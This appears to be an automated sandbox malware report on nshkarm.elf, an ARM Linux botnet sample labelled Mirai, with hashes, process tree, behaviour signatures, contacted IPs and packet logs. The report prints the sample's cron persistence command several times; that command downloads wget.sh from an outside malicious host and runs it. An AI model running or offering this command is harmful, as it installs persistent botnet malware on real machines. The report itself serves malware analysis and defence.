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Linux Analysis Report
nshkarm.elf

Overview

General Information

Sample name:	nshkarm.elf
Analysis ID:	1576787
MD5:	0ca916db64f11f41d5398a921b17f03d
SHA1:	cc58d153c591a329a0312f6d0b4490df874ca51e
SHA256:	aef5642907d2349271ba29b866800d26beb5eb8831bcc217529e6585b242bc89
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Executes the "crontab" command typically for achieving persistence

Sample tries to persist itself using cron

Detected TCP or UDP traffic on non-standard ports

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576787
Start date and time:	2024-12-17 15:17:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nshkarm.elf
Detection:	MAL
Classification:	mal60.troj.linELF@0/1@12/0

Warnings

VT rate limit hit for: nshkarm.elf

Runtime Messages

Command:	/tmp/nshkarm.elf
PID:	6246
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	you are now apart of hail cock botnet
Standard Error:	no crontab for root

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6221, Parent: 4332)

rm (PID: 6221, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.3IVLCyEXtn /tmp/tmp.TBRSZCPExN /tmp/tmp.0oqxZm1t35

dash New Fork (PID: 6222, Parent: 4332)

rm (PID: 6222, Parent: 4332, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.3IVLCyEXtn /tmp/tmp.TBRSZCPExN /tmp/tmp.0oqxZm1t35

nshkarm.elf (PID: 6246, Parent: 6150, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nshkarm.elf

nshkarm.elf New Fork (PID: 6248, Parent: 6246)

sh (PID: 6248, Parent: 6246, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"

sh New Fork (PID: 6250, Parent: 6248)

sh New Fork (PID: 6252, Parent: 6250)

crontab (PID: 6252, Parent: 6250, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -l

sh New Fork (PID: 6251, Parent: 6248)

crontab (PID: 6251, Parent: 6248, MD5: 66e521d421ac9b407699061bf21806f5) Arguments: crontab -

nshkarm.elf New Fork (PID: 6253, Parent: 6246)

nshkarm.elf New Fork (PID: 6296, Parent: 6253)

nshkarm.elf New Fork (PID: 6254, Parent: 6246)

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nshkarm.elf

ReversingLabs: Detection: 21%

Source: tmp.IVIgeR.22.dr

String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 80.78.26.121 ports 9641,9535,6052,1,3,4,1443
Source: global traffic	TCP traffic: 212.64.215.71 ports 7237,17375,0,1,3,7,9,13079

Source: global traffic	TCP traffic: 192.168.2.23:55686 -> 212.64.215.71:13079
Source: global traffic	TCP traffic: 192.168.2.23:34836 -> 80.78.26.121:1443

Source: /tmp/nshkarm.elf (PID: 6246)

Socket: 127.0.0.1:1172

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown	UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown	UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown	UDP traffic detected without corresponding DNS query: 185.181.61.24
Source: unknown	UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown	UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown	UDP traffic detected without corresponding DNS query: 152.53.15.127
Source: unknown	UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown	UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown	UDP traffic detected without corresponding DNS query: 178.254.22.166
Source: unknown	UDP traffic detected without corresponding DNS query: 137.220.52.23
Source: unknown	UDP traffic detected without corresponding DNS query: 51.158.108.203
Source: unknown	UDP traffic detected without corresponding DNS query: 217.160.70.42
Source: unknown	UDP traffic detected without corresponding DNS query: 5.161.109.23
Source: unknown	UDP traffic detected without corresponding DNS query: 168.235.111.72
Source: unknown	UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown	UDP traffic detected without corresponding DNS query: 65.21.1.106

Source: global traffic

DNS traffic detected: DNS query: kingstonwikkerink.dyn

Source: tmp.IVIgeR.22.dr

String found in binary or memory: http://hailcocks.ru/wget.sh;

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal60.troj.linELF@0/1@12/0

Persistence and Installation Behavior

Executes the "crontab" command typically for achieving persistence

Source: /bin/sh (PID: 6252)	Crontab executable: /usr/bin/crontab -> crontab -l			Jump to behavior
Source: /bin/sh (PID: 6251)	Crontab executable: /usr/bin/crontab -> crontab -			Jump to behavior

Sample tries to persist itself using cron

Source: /usr/bin/crontab (PID: 6251)	File: /var/spool/cron/crontabs/tmp.IVIgeR			Jump to behavior
Source: /usr/bin/crontab (PID: 6251)	File: /var/spool/cron/crontabs/root			Jump to behavior

Source: /tmp/nshkarm.elf (PID: 6248)

Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"

Jump to behavior

Source: /usr/bin/dash (PID: 6221)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.3IVLCyEXtn /tmp/tmp.TBRSZCPExN /tmp/tmp.0oqxZm1t35			Jump to behavior
Source: /usr/bin/dash (PID: 6222)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.3IVLCyEXtn /tmp/tmp.TBRSZCPExN /tmp/tmp.0oqxZm1t35			Jump to behavior

Source: submitted sample

Stderr: no crontab for root: exit code = 0

Source: /tmp/nshkarm.elf (PID: 6246)

Queries kernel information via 'uname':

Jump to behavior

Source: nshkarm.elf, 6246.1.000055f593aef000.000055f593c43000.rw-.sdmp, nshkarm.elf, 6253.1.000055f593aef000.000055f593c43000.rw-.sdmp, nshkarm.elf, 6296.1.000055f593aef000.000055f593c43000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: nshkarm.elf, 6246.1.00007ffc20db0000.00007ffc20dd1000.rw-.sdmp, nshkarm.elf, 6253.1.00007ffc20db0000.00007ffc20dd1000.rw-.sdmp, nshkarm.elf, 6296.1.00007ffc20db0000.00007ffc20dd1000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/nshkarm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nshkarm.elf
Source: nshkarm.elf, 6246.1.000055f593aef000.000055f593c43000.rw-.sdmp, nshkarm.elf, 6253.1.000055f593aef000.000055f593c43000.rw-.sdmp, nshkarm.elf, 6296.1.000055f593aef000.000055f593c43000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: nshkarm.elf, 6246.1.00007ffc20db0000.00007ffc20dd1000.rw-.sdmp, nshkarm.elf, 6253.1.00007ffc20db0000.00007ffc20dd1000.rw-.sdmp, nshkarm.elf, 6296.1.00007ffc20db0000.00007ffc20dd1000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: nshkarm.elf, 6296.1.00007ffc20db0000.00007ffc20dd1000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	2 Scripting	Valid Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Scripting	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
nshkarm.elf	21%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kingstonwikkerink.dyn	80.78.26.121	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://hailcocks.ru/wget.sh;	tmp.IVIgeR.22.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
80.78.26.121	kingstonwikkerink.dyn	Cyprus	37560	CYBERDYNELR	false
212.64.215.71	unknown	Turkey	15395	RACKSPACE-LONGB	true
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse
	nk41.elf	Get hash	malicious	Unknown	Browse
	hidakibest.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	hidakibest.arm4.elf	Get hash	malicious	Gafgyt, Mirai	Browse
91.189.91.42	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse
	nk41.elf	Get hash	malicious	Unknown	Browse
	hidakibest.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	hidakibest.arm4.elf	Get hash	malicious	Gafgyt, Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	nk41.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
RACKSPACE-LONGB	i686.elf	Get hash	malicious	Mirai	Browse	92.52.99.131
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	89.234.28.7
	Josho.arm.elf	Get hash	malicious	Unknown	Browse	89.234.45.46
	https://reviewgustereports.com/	Get hash	malicious	CAPTCHA Scam ClickFix, XWorm	Browse	134.213.193.62
	meerkat.mips.elf	Get hash	malicious	Mirai	Browse	134.213.250.148
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	162.13.153.221
	teste.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	92.52.99.126
	sora.mpsl.elf	Get hash	malicious	Mirai	Browse	89.234.45.54
	m68k.elf	Get hash	malicious	Mirai	Browse	5.79.3.85
	https://fparnter-externet.com/	Get hash	malicious	CAPTCHA Scam ClickFix, XWorm	Browse	134.213.193.62
CYBERDYNELR	GjNVpV53SR.exe	Get hash	malicious	Quasar	Browse	80.78.28.83
	p-p.c-440.DUSK.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.193.127.129
	PhysXCooking64.dll.dll	Get hash	malicious	Bazar Loader	Browse	80.78.24.30
	FW3x3p4eZ5.msi	Get hash	malicious	Bazar Loader, BruteRatel	Browse	80.78.24.30
	PhysXCooking64.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel	Browse	80.78.24.30
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.193.127.129
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.193.127.129
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.193.127.129
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.193.127.129
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	185.193.127.129
INIT7CH	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	la.bot.m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	la.bot.mips.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	la.bot.sh4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	nk41.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	hidakibest.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202
	hidakibest.arm4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/var/spool/cron/crontabs/tmp.IVIgeR

Download File

Process:	/usr/bin/crontab
File Type:	ASCII text
Category:	dropped
Size (bytes):	306
Entropy (8bit):	5.157134578854361
Encrypted:	false
SSDEEP:	6:SUrpqoqQjEOP1KmREJOBFQLvpUZHGMQ5UYLtCFt3HY5DMFDKXsJovYL8jndFKXsV:8QjHig8WeHLUHYC+GABjnOGAFkz
MD5:	542B8F21550244BB1D2E2FEAAF4C724B
SHA1:	CBB7E4471B27D2CB992E478F1B554C4E08B4B197
SHA-256:	200CFCA9F347C0FC53FBC84F14F740C2DCF98F49026C8339BBD359FEA62FECB7
SHA-512:	0649A492D6E8622054E019156C31C12DA65C460BF7ED9076E91584A9FD9F6009778410AFCC96BA9D570DD4814A1E5D3D5AB7423F1BA8AB6FC639AA8233190741
Malicious:	true
Reputation:	low
Preview:	# DO NOT EDIT THIS FILE - edit the master and reinstall..# (- installed on Tue Dec 17 08:17:57 2024).# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $).@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh.

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.120978968859602
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nshkarm.elf
File size:	76'232 bytes
MD5:	0ca916db64f11f41d5398a921b17f03d
SHA1:	cc58d153c591a329a0312f6d0b4490df874ca51e
SHA256:	aef5642907d2349271ba29b866800d26beb5eb8831bcc217529e6585b242bc89
SHA512:	7ea4a9f195680ee596a3674d8c6cab5baaa57b0c85972cd07cb08835421880c27320f64d9977eb9ca8c721de34c90bb39d756c9c6f43c248edda351dfaf26407
SSDEEP:	768:UwxxdU9ZaN3A0Lljcjclxz7zHHcf6Eg/1WW2CQuoNDdSf4p5NdjMlNofRHeR++Ev:LxxcEJb74fEA0f4HolCRLZlyQIsgvj
TLSH:	88732981BD815A13C6D112BBFB2E418D772713A8D2EE7203DE25AF21778792B0E77641
File Content Preview:	.ELF...a..........(.........4...8(......4. ...(.....................`$..`$..............d$..d$..d$.......T..........Q.td..................................-...L."...xB..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	75832
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x10a18	0x0	0x6	AX	16
.fini	PROGBITS	0x18ac8	0x10ac8	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x18adc	0x10adc	0x1984	0x0	0x2	A	4
.ctors	PROGBITS	0x22464	0x12464	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2246c	0x1246c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x22478	0x12478	0x380	0x0	0x3	WA	4
.bss	NOBITS	0x227f8	0x127f8	0x50fc	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x127f8	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x12460	0x12460	6.1512	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x12464	0x22464	0x22464	0x394	0x5490	2.8684	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 15:17:56.134092093 CET	43928	443	192.168.2.23	91.189.91.42
Dec 17, 2024 15:17:57.965347052 CET	55686	13079	192.168.2.23	212.64.215.71
Dec 17, 2024 15:17:58.085562944 CET	13079	55686	212.64.215.71	192.168.2.23
Dec 17, 2024 15:17:58.085664034 CET	55686	13079	192.168.2.23	212.64.215.71
Dec 17, 2024 15:17:58.085928917 CET	55686	13079	192.168.2.23	212.64.215.71
Dec 17, 2024 15:17:58.206590891 CET	13079	55686	212.64.215.71	192.168.2.23
Dec 17, 2024 15:17:58.206710100 CET	55686	13079	192.168.2.23	212.64.215.71
Dec 17, 2024 15:17:58.326404095 CET	13079	55686	212.64.215.71	192.168.2.23
Dec 17, 2024 15:17:59.560482979 CET	13079	55686	212.64.215.71	192.168.2.23
Dec 17, 2024 15:17:59.560750008 CET	55686	13079	192.168.2.23	212.64.215.71
Dec 17, 2024 15:17:59.560918093 CET	55686	13079	192.168.2.23	212.64.215.71
Dec 17, 2024 15:18:01.509500980 CET	42836	443	192.168.2.23	91.189.91.43
Dec 17, 2024 15:18:02.277299881 CET	42516	80	192.168.2.23	109.202.202.202
Dec 17, 2024 15:18:04.828728914 CET	34836	1443	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:04.948472023 CET	1443	34836	80.78.26.121	192.168.2.23
Dec 17, 2024 15:18:04.948628902 CET	34836	1443	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:04.948692083 CET	34836	1443	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:05.068530083 CET	1443	34836	80.78.26.121	192.168.2.23
Dec 17, 2024 15:18:05.068764925 CET	34836	1443	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:05.188649893 CET	1443	34836	80.78.26.121	192.168.2.23
Dec 17, 2024 15:18:14.957513094 CET	34836	1443	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:15.077346087 CET	1443	34836	80.78.26.121	192.168.2.23
Dec 17, 2024 15:18:15.254098892 CET	1443	34836	80.78.26.121	192.168.2.23
Dec 17, 2024 15:18:15.254240990 CET	34836	1443	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:15.254306078 CET	34836	1443	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:16.355268955 CET	43928	443	192.168.2.23	91.189.91.42
Dec 17, 2024 15:18:25.554858923 CET	35868	9641	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:25.674645901 CET	9641	35868	80.78.26.121	192.168.2.23
Dec 17, 2024 15:18:25.674751043 CET	35868	9641	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:25.674947023 CET	35868	9641	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:25.794485092 CET	9641	35868	80.78.26.121	192.168.2.23
Dec 17, 2024 15:18:25.794864893 CET	35868	9641	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:25.914522886 CET	9641	35868	80.78.26.121	192.168.2.23
Dec 17, 2024 15:18:28.641629934 CET	42836	443	192.168.2.23	91.189.91.43
Dec 17, 2024 15:18:29.963634014 CET	9641	35868	80.78.26.121	192.168.2.23
Dec 17, 2024 15:18:29.964016914 CET	35868	9641	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:29.964016914 CET	35868	9641	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:32.736934900 CET	42516	80	192.168.2.23	109.202.202.202
Dec 17, 2024 15:18:50.220511913 CET	52052	6052	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:50.340203047 CET	6052	52052	80.78.26.121	192.168.2.23
Dec 17, 2024 15:18:50.340451002 CET	52052	6052	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:50.340517998 CET	52052	6052	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:50.460208893 CET	6052	52052	80.78.26.121	192.168.2.23
Dec 17, 2024 15:18:50.460355997 CET	52052	6052	192.168.2.23	80.78.26.121
Dec 17, 2024 15:18:50.580010891 CET	6052	52052	80.78.26.121	192.168.2.23
Dec 17, 2024 15:18:57.309533119 CET	43928	443	192.168.2.23	91.189.91.42
Dec 17, 2024 15:19:00.646754980 CET	6052	52052	80.78.26.121	192.168.2.23
Dec 17, 2024 15:19:00.646958113 CET	52052	6052	192.168.2.23	80.78.26.121
Dec 17, 2024 15:19:00.646994114 CET	52052	6052	192.168.2.23	80.78.26.121
Dec 17, 2024 15:19:10.963161945 CET	51780	7237	192.168.2.23	212.64.215.71
Dec 17, 2024 15:19:11.083008051 CET	7237	51780	212.64.215.71	192.168.2.23
Dec 17, 2024 15:19:11.083235025 CET	51780	7237	192.168.2.23	212.64.215.71
Dec 17, 2024 15:19:11.083235025 CET	51780	7237	192.168.2.23	212.64.215.71
Dec 17, 2024 15:19:11.202831030 CET	7237	51780	212.64.215.71	192.168.2.23
Dec 17, 2024 15:19:11.203069925 CET	51780	7237	192.168.2.23	212.64.215.71
Dec 17, 2024 15:19:11.322649002 CET	7237	51780	212.64.215.71	192.168.2.23
Dec 17, 2024 15:19:12.555401087 CET	7237	51780	212.64.215.71	192.168.2.23
Dec 17, 2024 15:19:12.556108952 CET	51780	7237	192.168.2.23	212.64.215.71
Dec 17, 2024 15:19:12.556108952 CET	51780	7237	192.168.2.23	212.64.215.71
Dec 17, 2024 15:19:17.800957918 CET	59334	17375	192.168.2.23	212.64.215.71
Dec 17, 2024 15:19:17.921132088 CET	17375	59334	212.64.215.71	192.168.2.23
Dec 17, 2024 15:19:17.921292067 CET	59334	17375	192.168.2.23	212.64.215.71
Dec 17, 2024 15:19:17.921494007 CET	59334	17375	192.168.2.23	212.64.215.71
Dec 17, 2024 15:19:18.041034937 CET	17375	59334	212.64.215.71	192.168.2.23
Dec 17, 2024 15:19:18.041264057 CET	59334	17375	192.168.2.23	212.64.215.71
Dec 17, 2024 15:19:18.161494017 CET	17375	59334	212.64.215.71	192.168.2.23
Dec 17, 2024 15:19:19.397440910 CET	17375	59334	212.64.215.71	192.168.2.23
Dec 17, 2024 15:19:19.397739887 CET	59334	17375	192.168.2.23	212.64.215.71
Dec 17, 2024 15:19:19.397778988 CET	59334	17375	192.168.2.23	212.64.215.71
Dec 17, 2024 15:19:24.665359974 CET	49438	9535	192.168.2.23	80.78.26.121
Dec 17, 2024 15:19:24.784869909 CET	9535	49438	80.78.26.121	192.168.2.23
Dec 17, 2024 15:19:24.784997940 CET	49438	9535	192.168.2.23	80.78.26.121
Dec 17, 2024 15:19:24.785069942 CET	49438	9535	192.168.2.23	80.78.26.121
Dec 17, 2024 15:19:24.904967070 CET	9535	49438	80.78.26.121	192.168.2.23
Dec 17, 2024 15:19:24.905050039 CET	49438	9535	192.168.2.23	80.78.26.121
Dec 17, 2024 15:19:25.024735928 CET	9535	49438	80.78.26.121	192.168.2.23

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 15:17:57.697324038 CET	54212	53	192.168.2.23	185.181.61.24
Dec 17, 2024 15:17:57.892610073 CET	47227	53	192.168.2.23	185.181.61.24
Dec 17, 2024 15:17:57.959239006 CET	53	54212	185.181.61.24	192.168.2.23
Dec 17, 2024 15:17:58.147958040 CET	53	47227	185.181.61.24	192.168.2.23
Dec 17, 2024 15:17:58.150461912 CET	43129	53	192.168.2.23	202.61.197.122
Dec 17, 2024 15:17:58.395908117 CET	53	43129	202.61.197.122	192.168.2.23
Dec 17, 2024 15:17:58.397948027 CET	59584	53	192.168.2.23	185.181.61.24
Dec 17, 2024 15:17:58.657967091 CET	53	59584	185.181.61.24	192.168.2.23
Dec 17, 2024 15:17:58.661374092 CET	50315	53	192.168.2.23	5.161.109.23
Dec 17, 2024 15:18:04.563355923 CET	59961	53	192.168.2.23	65.21.1.106
Dec 17, 2024 15:18:04.827590942 CET	53	59961	65.21.1.106	192.168.2.23
Dec 17, 2024 15:18:06.671763897 CET	60717	53	192.168.2.23	152.53.15.127
Dec 17, 2024 15:18:06.913773060 CET	53	60717	152.53.15.127	192.168.2.23
Dec 17, 2024 15:18:20.257036924 CET	55563	53	192.168.2.23	5.161.109.23
Dec 17, 2024 15:18:25.263470888 CET	51781	53	192.168.2.23	202.61.197.122
